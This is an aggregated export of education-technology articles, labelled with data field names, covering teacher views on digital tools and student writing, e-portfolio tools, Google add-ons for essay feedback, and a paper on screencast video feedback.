In addition, some AP and NWP teachers note a potential decline in vocabulary and grammatical skills among their students, exacerbated by an overreliance on automated grammar, spellcheck and dictionary tools built into word processing programs. While these tools have unquestionably made word processing faster and easier, and can benefit students when used thoughtfully, some teachers worry they can also undermine students' understanding of and attention to basic writing principles.

On the BLURRING LINE BETWEEN FORMAL AND INFORMAL WRITING, AP and NWP teachers say...
Texting has spilled over into so much of my students' writing that trying to decipher what they are writing has become difficult. They don't see the problem, and feel that as long as they have written something, it should be accepted no matter how it's written. Although my students probably don't see texting and entries on Facebook as writing, I guess they are still writing. However, I have seen the negative effects because much of this writing uses incorrect grammar, spelling, and capitalization. I have a hard time with some students using the lowercase i and abbreviations in their essays. I think my students would say that any 'writing' they do is for specific assignments in classes, essays, research papers, etc. Outside of the classroom they are texting a lot. While texting is a form of communication, it is not 'writing' in my opinion, and because of texting, I think there are some serious issues that are surfacing more and more these days. A lot of students don't know how to write a complete thought. They can't use correct punctuation, and they don't start sentences with capital letters. They are supposedly learning all this in class, but it is their outside communication that seems to predominate in their ability to communicate. There is a definite laziness happening with the students and writing. I see them as minor issues. I see Text Talk as another language. There's a time and place for it, but not everyone understands it. Still, there are those contexts where it is socially acceptable and expected. I wouldn't rob them of that, but it is my job to teach them how to negotiate the many registers and codes they use in language every day. To me, this code-switching is an important part of being literate. What is hard to discern is how much of this is due to the influx of all the technology at their fingertips and the actual developmental stage of a typical adolescent. There is a definite challenge for many students in making adjustments in formality and purpose, because so much of the writing they do is casual in nature, mainly due to the array of digital technologies afforded to them driven by instant connection. Adjusting to an academic mode, for example, proves more difficult than might be expected. Texting may have a negative impact on students' writing in that the informalities of texting are definitely seeping into their writing, but that is not what I want to comment on. Texting has created a greater connection between myself and my students and an ability to respond quickly to their questions. My students often text me with questions about assignments and I love that I can quickly and easily answer their questions. I believe that writing has been somewhat negatively impacted by technology. With texting is a key form of expression there is little thought or effort put into essential elements of writing, such as spelling, grammar and exposition. That transfers over to students' attitude about writing for school assignments. The biggest challenge is to get them to write well in a math class. They do not feel it is important because to them math is "not English class." Because of the prevalence of texting, they are lazy writers and expect you to "know what they meant" when they poorly word responses.
Automated word processing tools, and the speed that accompanies them,may contribute to an additional concern expressed by AP and NWP teachers-a lack of patience among some students to execute longer writing assignments. Some teachers in the study question whether a growing cultural emphasis on speed and on truncated forms of expression (from tweets to status updates to blog posts) has conditioned students today to write, and think, in morselized, less developed pieces. These teachers are particularly concerned that what appears as impatience or carelessness is actually a diminishing set of cognitive skills in this area, or a lack of appreciation for subtly constructed arguments.

On TRUNCATED EXPRESSION, AP and NWP teachers say...
The effects [of digital tools on writing] are both positive and negative. Students are expressing their opinions more. I think my students are thinking more about what is happening in the world because of technology. They are communicating more in written form with texting, social networks, etc. However, and this is the big problem, they are not doing it well. They have more opinions, but they cannot express them in a complete manner. I have also noticed that it seems to take the students longer and longer to write essays these days. Because they are only used to writing little snippets of information, when they actually have to write a short essay of substance (2-3 short paragraphs, a 15-minute assignment) it takes them a half hour or more. One big thing that is apparent to me is that students actually write a lot m ore than we often believe. What, how, and why they write might not be what is always desired in school, but it seems to me they actually do write more than ever. What is interesting is that very few think of themselves as writers. There seems to be a disconnect. So a lot of writing has a careless quality to it. The writing is sloppier and unpolished more often than not. For example, ask them to write or develop some kind of personal correspondence, regardless of mode, and they are more able to be successful. Most students lack craft, which certainly is not new, yet because they spend so much time engaged in these sort of shorter, more direct, unruly writing tasks, there can be a tendency to resist technique and craft instruction. Thus, truly developing anything at sophisticated level of depth is difficult. So the prospect of writing with longer, complexly constructed structures, modeled on the likes of sentences from Faulkner or Dickens takes a lot of assistance. In fact, the writing is directly linked to the reading, where many struggle to unpack even mildly sophisticated text in reading, because they have an ingrained expectation that everything can be short and direct, even if they intellectually understand the limitations of the expectation. It is common for students to see pieces of writing as repetitive, rather than recognizing the subtle wrinkles or different color that might be used in restatement of an idea or theme. In their own writing, they tend to think of development as "filler."

# data[].attributes.attachment_link.title
Part III: Teachers See Digital Tools Affecting Student Writing in Myriad Ways

# data[].attributes.attachment_link.description
Majorities of AP and NWP teachers in the study see digital tools having several distinct, beneficial impacts on student writing, including providing a broader audience for student work, encouraging creativity and personal expression in a multitude of formats, and offering more opportunities for collaboration, interaction and feedback.

# data[].attributes.headline
Great Tips and Tools to Create Digital e-Portfolio ~ Educational Technology and Mobile Learning

# data[].attributes.subject
Great Tips and Tools to Create Digital e-Portfolio ~ Educational Technology and Mobile Learning

# data[].attributes.attachment_link.provider_name
Educational Technology and Mobile Learning

# data[].attributes.attachment_link.readable_text
Electronic portfolios are among the most important tools in your digital kit as a teacher . In its basic definition, an educational e-portfolio is a digital collection of student work that evidences mastery of a set of skills, applied knowledge, and attitudes. The notion of portfolios has a long history in education but it is only with the revolution of web 2.0 technologies that digital eportfolios spawned the educational landscape making it way easier to build, maintain, share and archive student learning in digital forms.

According to Teacher vision, portfolios can be divided into two groups :

P "Process oriented

Process oriented portfolios tell a story about the growth of a learner. They document the processes of learning and creating, including earlier drafts, reflections on the process, and obstacles encountered along the way. They may be organized into skill areas or themes, yet each contains a student's work from the beginning, middle, and end of a learning unit. For example, there may be three drafts of a short story: a preliminary draft, a reworked draft reflecting teacher and peer feedback, and a final draft. The student can comment on the ways one is better than the other. In this manner, the artifacts can be compared providing evidence about how the student's skills have improved. In any number of ways, in writing or perhaps during a parent-teacher conference, the student would reflect on the learning process: identifying how skills have changed, celebrating accomplishments, and establishing present and future challenges.

2 Product oriented

Product oriented portfolios are collections of work a student considers his or her best. The aim is to document and reflect on the quality and range of accomplishments rather than the process that produced them. It generally requires a student to collect all of her work until the end, at which time she must choose artifacts that represent work of the highest quality."

Here some of the best web tools to help you create e-portfolios:

This is my favourite and I must admit that I consider it the best of them all.

Google Sites provides a free application for creating your own web site. It is also an effective platform for creating and hosting your e-portfolios check out this guide to learn how to create an e-portfolio using Google site

It allows users to create multimedia slideshows using images, documents, and videos. Other users can then comment using text, audio, or video.

Weebly is a platform to create free websites or blogs using a user-friendly drag-and-drop interface.

This is an open-source e-portfolio system created by New Zealand's Tertiary Education Commission's e-learning Collaborative Development Fund.

iPad apps to create e-portfolios

Here is a list of the top 5 iPad apps you can use to create digital portfolios on the go. Check them out HERE.

# data[].attributes.attachment_link.title
Great Tips and Tools to Create Digital e-Portfolio

# data[].attributes.attachment_link.description
Electronic portfolios are among the most important tools in your digital kit as a teacher . In its basic definition, an educational e-portfolio is a digital collection of student work that evidences mastery of a set of skills, applied knowledge, and attitudes.

# data[].attributes.headline
Start the Year Right With 3 Free Tech Tools for High School Teachers - US News

# data[].attributes.subject
Start the Year Right With 3 Free Tech Tools for High School Teachers - US News

# data[].attributes.headline
From Guilt to Google: Experimenting with Tech Tools to Improve Writing Feedback | EdSurge News

# data[].attributes.subject
From Guilt to Google: Experimenting with Tech Tools to Improve Writing Feedback | EdSurge News

# data[].attributes.attachment_link.readable_text
You know the feeling--that "gotta-get-this-grading-done" robotic trance. The blinding feeling of grading close to 180 essays. The guilt of balancing meaningful feedback without taking three weeks to do it.

I have graded essays for years. I have tried all the tricks to get through my stacks of essays with speed and precision--setting a timer with a reward, coffee grading, yoga grading, dog park grading, almost tossing papers out of the window grading. But nothing worked to improve my ability to turn around papers quicker. In fact, after receiving my "Walking Dead TV reward" for getting through my allotted stack of essays on a Saturday morning, I suddenly realized: I was a "Grading Zombie," and my students were "Grade Zombies."

I needed to change the tedious and difficult writing process in my classroom. So, I turned to Google tools.

Google scripts and add-ons to Google Drive drastically changed my approach to giving writing feedback. I have been able to quickly develop meaningful "writers workshops", give individualized feedback throughout the writing process, and provide timely comments to a large student caseload.

With these tools ( many of which are included in this list), students are placed in charge of their learning. They engage in meaningful self-reflection, highlight according to criteria, and use academic language to critique their own work. The shift is significant. With Google tools, I can provide ongoing feedback while my students showcase digital responsibility and revise throughout the writing process.

Here are my favorite Google tools that have changed the way I approach writing feedback.

Setting up with gClassFolders

First, I created gClassFolders (gCF), or electronic portfolios. This Google Drive add-on automatically sets up sharing rights for all of your students. Anything your students place into their folder is shared with the teacher, you can both create new documents or link apps like Notability for automated uploading.

When my students place their work in this folder, they have multiple drafts of essays, brainstorming charts, notes, photographs, and artifacts of self-reflection. They can also upload video clips to be easily downloaded for editing when working on an iMovie project.

Now, students don't have to worry about losing their best work. As a teacher, I can place exemplar texts, articles, and resources in a class folder that all of my students can view. This portfolio can easily be shared with parents to improve home-to-school connections, with teachers to identify patterns of error, and with community partners to support classroom instruction.

Organizing with Doctopus

Since gClassFolders play an integral role in my classroom, I seek out Google scripts (or add-ons) to enhance the tool.

When assigning essays, I use the add-on Doctopus to send out a project description and file for students to write their essays. I'm still discovering the benefits to using Doctopus, but here are some of the most noticeable benefits:

In real time, a teacher can see the status of student writing. Assignments that have been edited are bolded and placed in the top of the assignment folder.

Teachers can automatically name the file in a desired format, place it in the correct student gClassFolder, set-up group projects, lock-down projects that are official work samples and have ownership rights to prevent accidental deletion.

Feedback can be integrated into the document in different forms like embedded comments, sidebar chats with a student or Kaizena voice feedback.

Giving feedback with Google Docs

Now, what about the feedback itself? Easy--the comment feature in Google Docs helps me give meaningful feedback.

During the first draft of writing, I let students take me on the adventure of writing. Whenever they place a comment in the sidebar, it automatically generates an e-mail to my teacher account. When I'm taking the bus, at home, or have extra time in class, I can respond directly to the e-mail, and Google embeds my response into the document for permanent reflection. In a flash, my students have personalized feedback.

During this time, I try to focus my comments on questions that will muster curiosity and encourage my students to revise. I'm not trying to "tell" students what to revise, but instead guiding them on a path of their own self-reflection.

Supporting student reflection with Google Forms

Following the completion of Draft 1, I use Google Forms to engage my students in self-reflection or a writer's workshop. Google Forms allow you to direct students to different pages based on answers. I usually start the form out with the question, "What would you like to work on today?" Based on their answer, students are sent to a page with an embedded video or resource to aid their revision goal.

When students respond, Google Forms summarize all of the student responses into an easy-to-read chart. I use these responses to guide our writer's workshop.

Using Google Forms, I can quickly find student examples of how they are meeting our writing criteria and guide the workshop to what my students need. (In addition to using Google Forms to capture responses, I also use the script Autocrat to compile and e-mail individual student responses.)

Collecting data and giving feedback with Goobric

Once my students receive ongoing feedback for Draft 1 and complete the self-reflection revision form, I give my final comments or a grade. Our current school grading system does not allow me to easily track when I have rescored assignments, and also limits me on how many words I can give in the freeform comment section. So, I use Goobric to track my students' progress.

Goobric is a Chrome extension that gives the teacher an ability to attach a rubric, gather data or enter freeform comments. Goobric will embed into the assignment, attach to a data spreadsheet and automatically e-mail students feedback.

The specifics? Goobric allows me to gather data by each learning target strand of writing, collect freeform comments, and see how many times a student has submitted a revision or if his or her scores have improved. I work in a professional learning community, and often, we choose one criteria to focus our data collection around. Goobric lets me quickly capture this data to share anonymously with my colleagues.

The results

Looking back at the writing process in my classroom prior to using Google tools, I admit I wasn't giving my students individualized and meaningful feedback. My feedback was not timely, nor was it challenging my students to see beyond the grade. When you have a large high school caseload, it's nearly impossible to give each student the 1:1 writing support they deserve.

Google tools was the solution to this problem. When technology is used with intent--to solve a problem of practice--the results can be tremendous for both student and teacher.

So, experiment! Use technology to transform the writing process in your classroom to student ownership and self-reflection--and maybe, just maybe, it will cure your "Grading Zombie" woes.

NOTE: This article is part of EdSurge's Fifty States Initiative (representing the state of Oregon).

# data[].attributes.attachment_link.title
From Guilt to Google: Experimenting with Tech Tools to Improve Writing Feedback - EdSurge News

# data[].attributes.attachment_link.description
You know the feeling--that "gotta-get-this-grading-done" robotic trance. The blinding feeling of grading close to 180 essays. The guilt of balancing meaningful feedback without taking three weeks to do it. I have graded essays for years.

# data[].attributes.headline
Talking with Students through Screencasting: Experimentations with Video Feedback to Improve Student Learning

# data[].attributes.subject
Talking with Students through Screencasting: Experimentations with Video Feedback to Improve Student Learning

# data[].attributes.attachment_link.readable_text
Riki Thompson, University of Washington Tacoma
Meredith J. Lee, Leeward Community College

Abstract

Changing digital technology has allowed instructors to capitalize on digital tools to provide audiovisual feedback. As universities move increasingly toward hybrid classrooms and online learning, consequently making investments in classroom management tools and communicative technologies, communication with students about their work is also transforming. Instructors in all fields are experimenting with a variety of tools to deliver information, present lectures, conference with students, and provide feedback on written and visual projects. Experimentation with screencasting technologies in traditional and online classes has yielded fresh approaches to engage students, improve the revision process, and harness the power of multimedia tools to enhance student learning (Davis and McGrail 2009, Liou and Peng 2009). Screencasts are digital recordings of the activity on one's computer screen, accompanied by voiceover narration that can be used for any class where assignments are submitted in some sort of electronic format. We argue that screencast video feedback serves as a better vehicle for in-depth explanatory feedback that creates rapport and a sense of support for the writer than traditional written comments.
"I can't tell you how many times I've gotten a paper back with underlines and marks that I can't figure out the meaning of."
-Freshman Composition Student

Introduction

The frustration experienced by students after receiving feedback on assignments is not unique to the student voice represented here. Studies on written feedback have shown that students often have difficulty deciphering and interpreting margin comments and therefore fail to apply such feedback to successfully implement revisions (Clements 2006, Nurmukhamedov and Kim 2010). A number of years ago one of us participated in a study about student perceptions of instructor feedback. The researcher interviewed several students, asking how they interpreted her feedback and what sorts of changes they made in response to the feedback (Clements 2006). Students reported that some comments were indecipherable, others made little sense to them, and some were disregarded altogether.

Clements (2006) suggests that the disconnect between feedback and revision is complicated by a number of factors, including the legibility of handwriting and editing symbols which sometimes read more like chicken scratch than a clear message. Students usually did their best to interpret the comment rather than ask for clarification. Other times, students made revision decisions based on a formula that weighed the amount of effort in relation to the grade they would receive. In other words, feedback that was easier to address gained priority, and feedback that required deep thinking and a great deal of cognitive work was dismissed. Sometimes these decisions were made out of sheer laziness. Other times students' lack of engagement with feedback was a strategic triage move to balance the priorities of school, work, and home life. These findings motivated us to find more effective ways to provide feedback that students could understand and apply to improve their work.
We both rely upon a combination of written comments and conferences to provide feedback and guidance with student work-in-progress, but we find that written comments make it too easy to mark every element that needs work rather than highlight a few key points for the student to focus on. We often struggled to limit our comments to avoid overloading our students and making feedback ineffective, as research in composition studies shows that students get overwhelmed by extensive comments (White 2006). After years of using primarily written comments to respond to student papers, we were often frustrated by the limits presented by this form of feedback.

Wanting to intellectually connect with students and explore ideas collaboratively while reading a paper, we are often having a conversation in our own heads, engaging the text and asking questions. We experience moments of excitement when we read something that engages us deeply. We think, "Wow! I love this sentence!" or "Yes! I completely agree with the argument you're making," or "I hadn't thought of it that way before." We also ask questions: "What were you thinking here?" or "Why did you start a new paragraph here?" in hopes that the answers appear in the next draft. Unfortunately, written comments are often in concise, complex explanations that students find difficult to unpack. That is, the necessary supplemental explanation that students require for meaning-making remains largely in our heads, rather than appearing on student papers. Thus, we wanted to make the feedback process more conversational, less confusing, and less intimidating for students, especially in online classes.

In both of our teaching philosophies, our primary motivation as writing teachers is to help our students improve upon their own ideas by revising their writing and utilizing feedback from us and their classmates. Thus, we recognize that our feedback needs to be personalized and conversational in nature. We don't want our feedback to be perceived as a directive, which we know results in students focusing all their energy on low priority errors rather than considering global issues. Instead, we want our feedback to inspire students to think about what they've written and how they might write it in a way that is more persuasive, clearer, or more nuanced for their intended audience. Moreover, we want their writing to be intentional; we don't want students to think writing should be merely a robotic answer to an assignment prompt. With goals such as these, it's no surprise that traditional feedback methods were deemed insufficient and wanting. We teach students that argumentation is about responding to a rhetorical situation-joining the conversation so to speak-and yet our written feedback was not effectively serving that purpose.

To remedy this problem, we experimented with screencasting technology as a tool to provide students with conversational feedback about their work-in-progress. Screencasts are digital recordings of the activity on one's computer screen, accompanied by voiceover narration. Screencasting can be used by professors in any class to respond to any assignment that is submitted in an electronic format, be it a Word document, text file, PowerPoint presentation, Excel spreadsheet, Web site, or video. While using Screen Capture Software (SCS), we found that screencasting has most commonly been used pedagogically to create tutorials that extend classroom lectures.

Screencasting has been used as a teaching tool in a variety of fields, with mostly positive results reported, specifically in relation to providing students with information and creating additional avenues of access to teaching and materials. In the field of chemical engineering, screencasting has served as an effective supplement to class time and textbooks (Falconer, deGrazia, Medlin, and Holmberg 2009). A study of student perceptions and test scores in an embryology course that used screencasting to present lectures demonstrated enhanced learning and a positive effect on student outcomes (Evans 2011). Asynchronous access to learning materials-both to make up for missed classes as well as to review materials covered in class-is another benefit of screencasting in the classroom (Vondracek 2011, Yee and Hargis 2010). An obvious advantage for online and hybrid classrooms, this type of access to materials also creates greater access for brick-and-mortar universities, especially those that serve nonresidential and place-bound student populations. Research on screencasting in the classroom is limited, but so far it points to this technology as a powerful learning tool.

While most of the research on screencasting shows positive results for learning, such studies focus on how this digital technology serves primarily as a tool to supplement classroom instruction; no research has yet shown how it can be used as a feedback tool that improves learning (and writing) through digitally mediated social interaction. This study examines the use of and student reactions to receiving what we call veedback, or video feedback, in order to provide guidance on a variety of assignments. We argue that screencast video feedback serves as a better vehicle for in-depth explanatory feedback that creates rapport and a sense of support for the writer than traditional written comments.

Literature Review

Best practices in writing studies suggest that feedback goes beyond the simple task of evaluating errors and prompting surface-level editing. The National Council of English Teachers (NCTE) position statement on teaching composition argues that students "need guidance and support throughout the writing process, not merely comments on the written product," and that "effective comments do not focus on pointing out errors, but go on to the more productive task of encouraging revision" (CCCC 2004). In this way, feedback serves as a pedagogical tool to improve learning by motivating students to rethink and rework their ideas rather than simply proofread and edit for errors. At the 2011 Conference on College Composition and Communication, Chris Anson (2011) presented findings on a study of oral- versus print-based feedback, arguing that talking to students about their writing provides them with more information than written comments.

The task of providing comments that students can engage with remains a challenge, especially when feedback is intended to help students learn from their mistakes and make meaningful revisions. Not only for composition instructors but also for any instructor who requires written assignments, providing students with truly effective feedback has long been a challenge both in terms of quality and quantity. Notar, Wilson, and Ross (2002) stress the importance of using feedback as a tool to provide guidance through formative commentary, stating that "feedback should focus on improving the skills needed for the construction of end products more than on the end products themselves" (qtd in Ertmer et al. 2007, 414). Even when it provides an adequate discussion of the strategies of construction, written feedback can often become overwhelming.

Written comments usually consist of a coded system of some sort, varying in style from teacher to teacher. Research about response styles has shown that instructors tend to provide feedback in categorical ways, with the most common response style focused primarily on marking surface features and taking an authoritative tone to objectively assess right and wrong in comments (Anson 1989). Writing teachers, for example, tend to use a standard set of editing terms and abbreviations, although phrases, questions, and idiosyncratic marks are also common. According to Anson (1989), other teachers used feedback to play the role of a representative reader within the discourse community, commenting on a broad range of issues, asking questions, expressing preferences, and making suggestions for revision. Comments can be both explicit-telling students when an error is made and recommending a plan of action-and indirect, implying that something went well or something is wrong. In this way, indirect feedback seems a bit like giving students a hint, similar to the ways in which adults give children hints about where difficult-to-find Easter eggs might be hidden in the yard. Although the Easter egg hunt is intended to challenge children to solve a puzzle of where colorful eggs might be hidden from view, adults provide clues when children seem unable to figure out the riddle. In other words, adults give guidance when children seem lost, similar to the ways instructors give guidance to students who seem to have veered off track.

Written feedback tends to be targeted and focused, with writers filtering out the extraneous elements of natural speech that may further inform the reader/listener. All communication-whether it be written or spoken-is intrinsically flawed and problematic (Coupland et al. 1991), such that the potential for miscommunication is present in all communicative exchanges. Thurlow et al. (2004, 49) argue that nonverbal cues such as tone of voice usually "communicate a range of social and emotional information." Everyday speech is filled with hesitations, false starts, repetitions, afterthoughts, and sounds that provide additional information to the listener (Georgakopolou 2004). Video feedback allows instructors to model a reader response, with the addition of cues that have the potential to help students take in feedback as part of an ongoing conversation about their work instead of a personal criticism. We recognize that this claim assumes that an instructor's verbal delivery is able to mitigate the negativity that a student may interpret from written comments and that the instructor models best practices for feedback regardless of medium.

Serving as a medium that allows instructors to perform a reader's response for students, digital technology can be an effective tool to continue the conversation about work-in-progress. By talking to students and reading their work aloud, instructors can engage students on an interpersonal level that is absent in written comments. It's about hearing the reader perform a response full of interest, confusion, and a desire to connect with the ideas of the writer. This type of affective engagement with student work is something that students rarely see, hear, and sense-the response from another reader that's not their own. Veedback offers students an opportunity to get out of their heads and hear the emotional response that is more clearly conveyed through spoken words than writing.

Thus, audiovisual feedback has the potential to motivate students and increase their engagement in their own learning, rather than just to assess the merits of a written product or prompt small-scale revision. Holmes and Gardner (2006, 99) point out that student motivation is multifaceted within a classroom and point to "constructive, meaningful feedback" as characteristic of a motivational environment. Changing digital technology has allowed for instructors to capitalize on new or evolving digital tools in creating that motivational environment.

As universities move toward hybrid classrooms and online learning and consequently make investments in classroom management tools and communicative technologies, communication with students about their writing is also transforming. Instructors in all fields are experimenting with a variety of tools to deliver information, present lectures, conference with students, and provide feedback on written and visual projects.

Experimentation with digital technologies in traditional and online composition classes has yielded fresh approaches to engage student writers, improve the revision process, and harness the power of multimedia tools to enhance student learning (Davis and McGrail 2009, Liou and Peng 2009). By employing screencast software as a tool to talk to students about their work-in-progress, we are adding another level of interpersonal engagement-palpably humanizing the process.

Our Pedagogy

Because inquiry and dialogue are foundational to our pedagogical practice, writing workshops, teacher-student conferences, and extensive feedback in which we attempt to take on the role of representative reader are common in our courses. Although we each work hard not to be the teacher who provides students with feedback that they don't understand, more often than we would like to admit, we know that we too are sometimes those teachers who use underlines and marks that make little sense to our students, as this paper with written comments demonstrates (Figure 1).

Even after informing students of our respective coding system, many students remain confused. This example is one instructor's chart of editing marks given to students with their first set of written feedback (Figure 2).

We know students are confused by written comments because some students come to office hours and share their confusion over some of our statements and questions. Many confirm that they don't really know what to do with the comments or how to make the move to improve their work or transfer their learning to the next assignment or draft. Students' difficulty in decoding comments may be based on their expectations of feedback as directive rather than collaborative and conversational. Moreover, students' prior (learned) experiences with feedback may color the way students read and respond to comments. That is, many students expect directive feedback and believe that the appropriate response is merely to edit errors and/or delete sections that are too difficult to revise. Thus, students feel confused (and frustrated) when a comment does not yield a specific solution that fits into the paradigm of "what the teacher wants."

Although we both require in-person student conferences (or in a digitally mediated form via phone, Skype, or Blackboard Collaborate) as one of the most important pedagogical tools to improve student writing, we acknowledge the limitations of conferences as the primary means of giving feedback. Time is the most obvious obstacle. While allowing the most personalized instruction for each student, one-on-one student-teacher conferences are labor-intensive for the teacher. Conferences are usually held only twice in a sixteen-week semester (or ten-week quarter) and are characterized by a non-stop whirlwind of twenty-minute appointments. For those teaching at nonresidential university campuses and community colleges, requiring students to schedule a writing conference outside of class time is even more challenging as most are overextended with jobs and family responsibilities. The most important feature of writing conferences is the dialogic nature of it-the conversation about the work-in-progress and the collaborative planning about how to make improvements. Acknowledging both the effectiveness and limitations of face-to-face conferencing, we considered alternatives to the traditional writing conference.

Initially, one of us experimented with recording audio comments as a supplement to written comments and an extension of the writing conference, but was not satisfied with the results. This method requires the instructor to annotate a print-based text (which is problematic for online courses and digitally mediated assignments) in addition to creating a downloadable audio file. The separation of the annotated text from comments can create logistical problems for students finding and archiving feedback and create extra work for the instructor providing it.

When we discovered screencasting, we began to experiment with this digital tool as an alternative form of feedback. We each employed Jing screen-recording software to record five minutes of audiovisual commentary about a student's work. This screencasting software enabled us to save the commentary as a flash video that could be emailed or uploaded to an electronic dropbox. This screenshot shows what appears on the screen for students when they click a link to view video feedback hosted on the Dropbox site.

Opportunities and Obstacles

New methods of delivering instruction, such as in hybrid or online courses, create a need to solve the feedback dilemma in a variety of ways. We believe a key component to effective feedback is the collaborative nature of conversation built upon a rapport cultivated in "normal" classroom interaction. However, with limited (or no) face-to-face time between instructor and student (or between student and student), creating a collaborative and conducive environment for writing is a challenge as the tone of the class is often set by the "performance" of the instructor during class. In online environments, students cannot see or hear their instructors or their classmates, which can potentially stifle the creation of a positive learning community. The face-to-face experiences of the traditional classroom allow students to develop rapport with a teacher, which can mitigate the feeling of criticism associated with formative feedback.

Without these face-to-face experiences, students in online classes are more likely to disengage with course content, assignments, and their instructor and classmates. This increased tendency to disengage is evidenced in the lower completion rate for online classes. According to a Special Report by FacultyFocus, "the failed retention rate for online courses may be 10 to 20 percent higher than for face-to-face courses." And according to Duvall et al. (2003), the lack of engagement by students in online courses is linked to the instructor's "social presence." They state that "social presence in distance learning is the extent that an instructor is perceived as a real, live person, rather than an electronic figurehead." Research shows that the relationship between student and teacher is often an important factor for retention (CCSSE - Community College Survey of Student Engagement n.d., n.d.); this relationship is a compelling argument for why we should look for socially interactive ways to respond to our students' work.

While multimedia technology has allowed instructors to create more "face time" with students in an online class, technological savvy does not automatically translate into more social presence. While we would agree that any use of audio/video formats in the online class contributes to creating a learning community, video lectures are not personal in the same way that face-to-face lectures are not personal. In providing feedback on individual students' writing, we are engaging in a conversation with our students about their own work-a prime opportunity to personalize instruction to meet student needs (also called differentiated instruction).

Logistically, screencasting has its challenges, such as those we encountered-additional time at the computer and a quiet place to record the videos-but we both discovered ways to mitigate those challenges. For example, one author found that this medium relegates the instructor to a quiet space and the other experienced limited storage capacity on her institution's server. The first author discovered that a noise-cancelling headset allowed her to be mobile while using this feedback method. And the second author had to create alternative means of delivery and archiving by giving students the option of receiving video files via email, downloading and deleting files from the dropbox, or accessing videos via Screencast.com, which is not considered "private" by her institution.

Initially, the process was time-consuming because it was difficult to get out of the habit of working with a hard copy; we each initially wrote comments or brief notations on a paper (or digital) version as a basis for the video commentary. Keeping to the five-minute time limit was also a challenge, but the time limit also helped us to focus on the major issues in students' writing rather than on minor problems. Perhaps most importantly, as we have become accustomed to the process, it takes us less time to record video comments than when we started using screencasting for feedback. Moreover, positive student response has encouraged us to be innovative in addressing the drawbacks.

Veedback allows instructors to move the cursor over content on the screen and highlight key elements while providing audio commentary as shown in this response paper. These two samples (a response paper [Video 1] and an essay draft [Video 2]) show how instructors can take advantage of the audiovisual aspects of screencasting to engage students in learning.
Video 1 (Click to Open Video). The instructor highlights key elements while providing audio commentary on a response paper. Video 2 (Click to Open Video). A student essay. Video 3. The instructor has pasted the evaluation rubric into the electronic version of the student essay and marked ranges.
After providing commentary within a student paper, this sample shows how instructors discuss overall strengths and weaknesses by pasting the evaluation rubric into the electronic version of the student essay and marking ranges (Video 3).

One of the many ways in which we used screencasting was to give feedback about work-in-progress that was posted to online workspaces, such as a course blog or discussion board. In this case, students posted drafts of their thesis statement for their essay on the blog and we responded to a group of them in batches and linked to the feedback on the course blog (Figure 3).

This method gave students access to an archive of feedback through the course blog and allowed for an extension of in-class workshops about work-in-progress to help students focus their research essays.
Video 4. A snippet of a video response to student work.
This snippet of one of the ten-minute videos mentioned above shows how one of the authors uses the audiovisual medium to show students how their writing may be seen and heard simultaneously (Video 4).
Video 5. A sample veedback presentation.
We have also found veedback to be especially useful for presentations because screencasting software allows us to start a conversation about the impact of visual composition and to manipulate the original document to present alternatives. In this particular sample veedback, the instructor used a sample presentation for an in-class workshop and ran screencasting software to provide an archive of notes that students could access when they were ready to revise (Video 5).

Methods

Screencasting was used in five sections of college-level writing courses by two instructors. Students from two sections of one author's research and argument course were surveyed about screencasting feedback on essay drafts and PowerPoint presentations. In the second author's three online sections of a research and writing course, students were informally asked about the use of veedback, and one online section was surveyed. The screencasts were produced on PCs using Jing software to create individual Flash movie files to be shared and posted to the classroom management system for student access. Both instructors also used screencasting as an extension of classroom lectures by offering mini-workshops on specific aspects of writing and providing tutorials for assignments and software use. Veedback was used instead of written comments, not in addition; in other words, assignments that got veedback didn't get written comments-only some highlighting or strikethrough font in the file versions that were returned to them. We employed a color-coding system to differentiate between types of comments. For example, yellow highlighting may signal grammatical errors and green highlighting marks problems with content or interpretation as shown inthis example of veedback on an annotated bibliography assignment.

Students in the first author's classes were asked to fill out an optional, anonymous, web-based questionnaire that would provide feedback about the course. Along with questions that asked students to reflect on their ability to meet the learning objectives for the course, the midquarter surveys also included specific questions related to particular assignments, activities, or teaching technologies that were added to the course. During that quarter, this author added an additional question, eliciting a short response of 500 words maximum, targeted to student perceptions of using videos as a method of feedback. The questionnaire prompted students to speak about their experiences with Jing videos for the two particular assignments in which it was used and to specifically address whether it was beneficial (or not) to their learning. The final question was "Please tell me about your experience getting feedback through Jing screen capture videos on a response paper and your presentation. How did it improve your learning (or not)?"

The data set for this survey is limited as it was elicited from two sections of the same 200-level writing course at one institution, with a maximum potential of 40 respondents. Thirty-two students took the online survey, 22 responded to the short answer questions about Jing, and 3 responded about digital classroom tools other than Jing. An additional data set was elicited from one section of a similar 200-level course at a second institution, with a maximum potential of 16 respondents. All 11 students who participated in the survey provided short answer questions about the veedback. Six respondents also commented on the use of videos for instruction. Thus, the data used in this paper comes from 30 short answer responses which were analyzed using content analysis. A number of key themes emerged and are discussed below. Most students who responded about Jing were extremely positive and found it beneficial to their learning. A few students, including those who found it beneficial, spoke of hearing and seeing through this digital tool as enhancing learning.

With only two out of 30 students stating a preference for comments "written down," Jing comments received rave reviews as a form of feedback that aided student learning. Student preference for this type of feedback demonstrates how important it is that teachers deliver feedback employing multiple modes of delivery, combining the auditory, visual, and kinesthetic. Many spoke directly to the importance of auditory feedback as a key factor that contributed to their learning, and others claimed that the auditory in combination with the visual made the difference. Many students implied that the auditory explanations, coupled with the visual representation of their essay, gave them enough information to make meaningful revisions and apply feedback.
Students overwhelmingly included statements like "I like the Jing screen capture videos a lot" and "I think the Jing videos are very helpful." Some students compared this video feedback form to traditional written comments, focusing on the negative side of the written comments rather than fully explaining the positives of the new form. "It felt as if I was talking with them - a much more friendly review rather than harsh critique." In these comments, student preferences were implied and, therefore, were analyzed for meaning.

Can You Hear Me Now? Can You See It Now?

Inherent in the student-teacher relationship is a power differential in which teachers have more power and the student is somehow deficient and in need of correction. Students expect correction from teachers, not dialogue about their work. Oftentimes, tone of voice is obscured in written comments, forcing students to imagine the teacher in their head. This imagined teacher often sounds harsh and punishing. For example, we might ask questions in our margin comments that are indeed questions. While we might be looking for further explanation or description, students might read these questions as rhetorical, not to be answered, flatly stating that they made some unconscionable mistake that should not appear in a future version or assignment. Anything written in the margins is the "red marker that scolds" (White, 2006). Using one's actual voice makes the tone of voice apparent. Audio feedback erases the red pen, and replaces it with the sound of a human conveying "genuine" interest in the ideas presented. By giving veedback, we are able to use a conversational tone to talk about writing with students. We are able to share how their writing sounds and offer a variety of options.
